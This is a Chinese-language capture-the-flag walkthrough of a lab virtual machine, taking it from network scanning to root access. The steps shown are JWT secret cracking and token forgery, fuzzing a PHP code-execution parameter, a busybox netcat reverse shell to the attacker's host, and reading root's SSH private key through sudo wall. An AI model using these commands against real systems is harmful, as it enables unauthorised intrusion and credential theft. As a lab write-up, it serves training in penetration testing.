一、信息收集

主机发现

使用 ARP 扫描发现局域网内的主机:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l                     
...
192.168.205.235 08:00:27:22:51:fb       PCS Systemtechnik GmbH
...

目标主机确定为:192.168.205.235

端口扫描

对目标主机进行全端口扫描:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p0-65535 192.168.205.235
...
22/tcp open  ssh
80/tcp open  http
...

扫描结果显示开放端口:

二、Web 服务分析

页面内容分析

首先查看 Web 服务的主页内容:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl 192.168.205.235 | sed '/<style>/,/<\/style>/d'
...

            <h1>TI15 中国队加油</h1>
            <div class="slogan">Make Chinese DOTA Great Again</div>
            <div class="slogan">never give up 记住这个要考</div>
            ...
<!--ame:jiayouachunyu-->

从页面源码中发现重要信息:

SSH 登录测试

首先尝试使用发现的凭据进行 SSH 登录:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ssh ame@192.168.205.235              
ame@192.168.205.235's password: 
Permission denied, please try again.

SSH 登录失败,密码不正确。

目录枚举

使用 dirsearch 对 Web 目录进行扫描:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ dirsearch -q -u http://192.168.205.235/
...
[19:16:39] 200 -  891B  - http://192.168.205.235/admin
[19:16:39] 200 -  891B  - http://192.168.205.235/admin.php
[19:16:45] 200 -    1KB - http://192.168.205.235/user
[19:16:45] 200 -    1KB - http://192.168.205.235/user.php

发现了两个重要的登录页面:

首先查看 admin 页面,发现登录是假的,查看源码发现:

<!doctype html>
<html lang="zh-CN">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,initial-scale=1">
  <title>登录</title>
  ...
</head>
<body>
<div class="box">
  <h2>管理员登录</h2>


  <!-- 迷惑表单:表面要用户名/密码/二次验证码,但这些字段并不用于实际认证 -->
  <form method="post" autocomplete="off">
    <label>用户名</label>
    <input type="text" name="username" placeholder="请输入用户名" />

    <label>密码</label>
    <input type="password" name="password" placeholder="请输入密码" />

    <label>二次校验码(可选)</label>
    <input type="text" name="otp" placeholder="XXXXXX" />


    <!-- 供高级用户/工具直接提交 token(不会在界面显著提示) -->
    <label style="display:none">token(内部使用)</label>
    <input type="text" name="token" style="display:none" />

    <button type="submit">登录</button>
  </form>

  <div class="small" style="margin-top:12px">
  </div>
</div>
</body>
</html>

源码注释显示这是一个迷惑表单,真正的认证需要通过隐藏的 token 字段。

三、JWT 令牌分析

用户登录

尝试登录 user 页面,使用凭据 ame:jiayouachunyu 成功进入用户面板,这是一个基础的管理面板,没有特殊功能。

使用 Burp Suite 抓取刷新包,发现 Cookie 中包含 JWT 令牌:

POST /user HTTP/1.1
Host: 192.168.205.235
...
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJtb2JhbiIsImlhdCI
...

username=ame&password=jiayouachunyu

JWT 密钥破解

使用在线 JWT 解码工具( https://jwt.cagdastunca.com/ )解析令牌结构。

使用 John the Ripper 对 JWT 密钥进行暴力破解:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ vim hash             
                                                                                                                                                                                
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ cat hash                                         
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJtb2JhbiIsImlhdCI6MTc1O...
                                                                                                                                                                                
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash 
...
nevergiveup      (?)   
...

成功破解密钥:nevergiveup

这个密钥正好与首页提示"never give up 记住这个要考"相呼应。

JWT 伪造

使用破解的密钥伪造管理员令牌,将用户角色从 user 修改为 admin,用户名从 ame 修改为 root

伪造后的令牌:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJtb2JhbiIsImlhdCI6MTc1OTIzMTIxMCwiZXhwIjoxNzU5MjM0ODEwLCJzdWIiOiJyb290Iiwicm9sZSI6ImFkbWluIn0.jdhsCDdp8oenKbRyjz4OczSwoBAz0lsgFS54wUp2JK4

管理员权限获取

使用伪造的令牌访问 admin 页面,在 Burp Suite 中修改请求:

POST /admin HTTP/1.1
Host: 192.168.205.235
...
Content-Length: 31
...

username=&password=&otp=&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJtb2JhbiIsImlhdCI6MTc1OTIzMTIxMCwiZXhwIjoxNzU5MjM0ODEwLCJzdWIiOiJyb290Iiwicm9sZSI6ImFkbWluIn0.jdhsCDdp8oenKbRyjz4OczSwoBAz0lsgFS54wUp2JK4

成功进入管理面板,页面提示存在隐藏文件:karsakarsa369.php

四、代码执行漏洞利用

隐藏页面发现

访问提示的隐藏页面:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl 192.168.205.235/karsakarsa369.php           
fuzz

页面返回提示"fuzz",说明需要对参数进行模糊测试。

参数爆破

使用 ffuf 对 PHP 函数参数进行爆破:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ffuf -u 'http://192.168.205.235/karsakarsa369.php?FUZZ=phpinfo();' -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --fs 4
...
cmd                     [Status: 200, Size: 86168, Words: 4281, Lines: 1024, Duration: 4ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

发现参数 cmd 可以执行 PHP 代码。

测试访问 http://192.168.205.235/karsakarsa369.php?cmd=phpinfo(); 确认可以执行 PHP 函数,从 phpinfo 输出看到默认的 disable_functions 设置,但 exec 函数是可用的。

反弹 Shell

建立 netcat 监听:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nc -lvnp 8888               
listening on [any] 8888 ...

通过 exec 函数执行反弹 Shell 命令:

http://192.168.205.235/karsakarsa369.php?cmd=exec('busybox nc 192.168.205.128 8888 -e /bin/bash');

注意:虽然执行 id 命令可能没有回显,但命令确实会被执行。

成功获取反弹 Shell:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nc -lvnp 8888               
listening on [any] 8888 ...
connect to [192.168.205.128] from (UNKNOWN) [192.168.205.235] 50220
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell 优化

使用 Python 脚本优化 Shell 环境:

script /dev/null -c bash
Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty rows 36 columns 178

五、权限提升

系统信息收集

获取 Shell 后进行系统信息收集:

www-data@logi:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@logi:/var/www/html$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for www-data: 
sudo: a password is required

www-data 用户需要密码执行 sudo。

文件系统探索

查看 web 目录和系统文件:

www-data@logi:/var/www/html$ ls -al
total 1112
drwxr-xr-x 2 root root   4096 Sep 29 07:24 .
drwxr-xr-x 3 root root   4096 Apr  4 23:20 ..
-rw-r--r-- 1 root root    147 Sep 28 11:24 .htaccess
-rw-r--r-- 1 root root  16384 Sep 28 11:07 .user.php.swp
-rw-r--r-- 1 root root   5581 Sep 28 11:33 admin.php
...
-rw-r--r-- 1 root root   3281 Sep 29 03:32 index.html
-rw-r--r-- 1 root root     41 Sep 28 10:27 karsakarsa369.php
-rw-r--r-- 1 root root   7608 Sep 29 07:24 user.php

查看 user.php 文件获取更多信息:

www-data@logi:/var/www/html$ head -10 user.php
<?php
// user.php — 普通用户登录页面(不会在页面显示凭据或 token)
// 已增加无关占位内容与退出登录功能

header('Content-Type: text/html; charset=utf-8');

// ===== 用户库(仅服务器端示例) =====
$users = [
    'ame'   => ['password' => 'jiayouachunyu', 'role' => 'user'],
    'admin' => ['password' => 'supersecret_admin_pw', 'role' => 'admin']

查看家目录:

www-data@logi:/var/www/html$ ls -la /home/
total 12
drwxr-xr-x  3 root root 4096 Sep 28 10:34 .
drwxr-xr-x 18 root root 4096 Sep 28 09:25 ..
drwxr-xr-x  3 ame  ame  4096 Sep 30 05:44 ame

发现存在 ame 用户,尝试切换但失败。

密码发现

探索 /var/backups 目录:

www-data@logi:/var$ ls backups/
alternatives.tar.0     apt.extended_states.1.gz  apt.extended_states.3.gz  apt.extended_states.5.gz  dpkg.statoverride.0  group.bak    passwd      shadow.bak
apt.extended_states.0  apt.extended_states.2.gz  apt.extended_states.4.gz  dpkg.diversions.0         dpkg.status.0        gshadow.bak  passwd.bak
www-data@logi:/var$ cd backups/
www-data@logi:/var/backups$ cat passwd
xiangwozheyangderen

在备份目录中发现密码文件。

用户权限提升

使用发现的密码切换到 ame 用户:

www-data@logi:/var/backups$ su ame
Password: xiangwozheyangderen
ame@logi:/var/backups$ id
uid=1000(ame) gid=1000(ame) groups=1000(ame)

成功切换到 ame 用户。

Sudo 权限检查

检查 ame 用户的 sudo 权限:

ame@logi:/var/backups$ cd
ame@logi:~$ ls -la
total 28
drwxr-xr-x 3 ame  ame  4096 Sep 30 05:44 .
drwxr-xr-x 3 root root 4096 Sep 28 10:34 ..
lrwxrwxrwx 1 root root    9 Sep 28 10:37 .bash_history -> /dev/null
drwx------ 2 ame  ame  4096 Sep 29 07:33 .ssh
-r-------- 1 ame  ame    25 Sep 28 10:37 user.txt
-rw------- 1 ame  ame  7170 Sep 30 05:44 .viminfo
ame@logi:~$ sudo -l
Matching Defaults entries for ame on logi:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ame may run the following commands on logi:
    (ALL) NOPASSWD: /usr/bin/wall

发现 ame 用户可以无密码执行 /usr/bin/wall 命令。

六、Root 权限获取

GTFOBins 查询

查询 GTFOBins(https://gtfobins.github.io/gtfobins/wall/#sudo)发现 wall 命令可以用于提权,特别是 --nobanner 参数可以读取文件内容。

wall 命令机制说明

这里需要了解一些有趣的技术细节。如果你现在的 shell 是 www-data(反弹),然后 su ame 的 shell,执行 sudo wall --nobanner "/root/.ssh/id_rsa" 会没有任何输出。

这是因为:

wall 并不会直接把内容输出给当前执行者,它的工作流程是:

  1. 打开 /var/run/utmp 文件;
  2. 遍历其中记录的"登录用户"(比如 who,w命令能看到的);
  3. 对每个用户对应的 /dev/pts/X 写入广播消息。

现在我们遇到的问题是:

ame@logi:~$ tty
/dev/pts/0

tty 我们是有的,问题是登录记录:

ame@logi:~$ who
ame@logi:~$ w
 07:42:06 up  3:06,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT

我们是反弹的伪终端,不是登录会话,utmp 里没有它的条目,wall 自然不会发消息到它。

所以我们需要 SSH 重新连接 ame。

SSH 重连

使用发现的密码通过 SSH 重新连接:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ssh ame@192.168.205.235
ame@192.168.205.235's password: 
Linux logi 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Sep 30 05:42:57 2025 from 192.168.205.128
ame@logi:~$ id
uid=1000(ame) gid=1000(ame) groups=1000(ame)

验证登录会话状态:

ame@logi:~$ tty
/dev/pts/1
ame@logi:~$ w
 07:45:44 up  3:10,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
ame      pts/1    192.168.205.128  07:45    0.00s  0.00s  0.00s w
ame@logi:~$ who
ame      pts/1        2025-09-30 07:45 (192.168.205.128)

现在 utmp 中有了正式的登录记录,可以使用 wall 命令了。

读取 root SSH 私钥

使用 wall 命令的 --nobanner 参数读取 root 用户的 SSH 私钥:

ame@logi:~$ sudo wall --nobanner "/root/.ssh/id_rsa"
                                                                             
-----BEGIN OPENSSH PRIVATE KEY-----                                          
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn       
NhAAAAAwEAAQAAAgEAnaT0B+kb64e8z3am+GYUeZQ91emxMpRnMWpP0kh3fZCoBJFf5PNX       
...
yCbxr8E9aazVZ8mMJ9t4EAAAADAQABAAACACjO25D0qhKVZ6341A43NpOmaT9nqEQkoHXt       
...
XtnMsZxZlM0I2hbKQVAAABAQDITkel25RoCYjYRG/oE2G7qcMwdUrVsas5o0cXdhav3oot121T       
...
yFwO2nf1b1w/AAAACXJvb3RAbG9naQE=                                             
-----END OPENSSH PRIVATE KEY-----                                            

成功获取到 root 的 SSH 私钥,但需要注意私钥末尾有多余的空格和字符。

私钥处理

将私钥保存到文件并清理格式:

ame@logi:~$ vim tmp
ame@logi:~$ cat -A tmp 
-----BEGIN OPENSSH PRIVATE KEY-----                                            $
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn         $
...
-----END OPENSSH PRIVATE KEY-----   $

使用 sed 命令清理私钥格式:

ame@logi:~$ cat tmp | sed 's/\s\+$//; s/\$//g' > id_rsa
ame@logi:~$ chmod 600 id_rsa 

验证私钥有效性:

ame@logi:~$ ssh-keygen -y -f id_rsa 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCdpPQH6Rvrh7zPdqb4ZhR5lD3V6bEylGcxak/SSH...
1prNVnyYwn23gQ== root@logi

Root Shell 获取

使用私钥 SSH 连接到 root 用户:

ame@logi:~$ ssh root@127.0.0.1 -i id_rsa 
Linux logi 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Sep 30 05:49:34 2025 from 192.168.205.128
root@logi:~# id
uid=0(root) gid=0(root) groups=0(root)

成功获取 root 权限!

获取 Flag

读取用户和 root 的 flag:

root@logi:~# cat /root/provemyself.txt /home/ame/user.txt 
root{xiangrootzheyangderen}
user:{niudexiongdiniude}